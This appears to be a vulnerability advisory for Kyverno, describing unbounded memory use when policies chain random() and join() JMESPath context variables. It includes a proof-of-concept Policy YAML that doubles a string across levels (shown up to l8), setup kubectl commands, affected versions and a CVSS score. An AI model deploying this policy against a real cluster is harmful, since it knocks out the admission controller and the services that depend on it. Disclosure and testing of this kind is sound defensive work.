Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.
For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:
The PoC attack uses exponential doubling:
l0 = random('[a-zA-Z0-9]{1000}') → 1KBl1 = join('', [l0, l0]) → 2KBl2 = join('', [l1, l1]) → 4KBl18 → 256MBThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.
Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).
kubectl create namespace poc-test
kyverno namespace on another terminal:kubectl get pods -n kyverno -w
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: memory-exhaustion-poc
namespace: poc-test
spec:
validationFailureAction: Enforce
rules:
- name: exhaust-memory
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: l0
variable:
jmesPath: random('[a-zA-Z0-9]{1000}')
- name: l1
variable:
jmesPath: join('', [l0, l0])
- name: l2
variable:
jmesPath: join('', [l1, l1])
- name: l3
variable:
jmesPath: join('', [l2, l2])
- name: l4
variable:
jmesPath: join('', [l3, l3])
- name: l5
variable:
jmesPath: join('', [l4, l4])
- name: l6
variable:
jmesPath: join('', [l5, l5])
- name: l7
variable:
jmesPath: join('', [l6, l6])
- name: l8...
1.15.31.16.3Exploitability
AV:NAC:LPR:LUI:NScope
S:CImpact
C:NI:NA:H7.7/CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H